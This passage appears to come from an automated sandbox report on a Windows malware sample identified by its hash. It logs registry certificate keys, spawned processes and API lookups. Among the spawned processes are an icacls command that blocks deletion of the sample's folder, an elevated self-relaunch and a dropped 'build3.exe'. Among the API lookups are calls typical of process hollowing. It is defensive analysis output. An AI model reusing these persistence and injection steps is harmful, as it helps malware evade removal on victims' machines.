"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")36:T583,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe"" - (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessW" with parameter "icacls "%LOCALAPPDATA%\0d22269f-cd2d-42d7-a8f0-0801a4163d01" /deny *S-1-1-0:(OI)(CI)(DE,DC)" - (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessW" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter ""C:\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\2c5e88be-1b09-45a3-bf46-9344370fc3da\build3.exe"" - (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "CreateProcessA" with parameter "%LOCALAPPDATA%\0d22269f-cd2d-42d7-a8f0-0801a4163d01\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe --Task" - (UID: 00000000-00005660)37:T1e81,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter ADVAPI32.DLL (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter NETAPI32.DLL (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter USER32.DLL (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005660) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007352) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00007352)38:T10ea8,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called 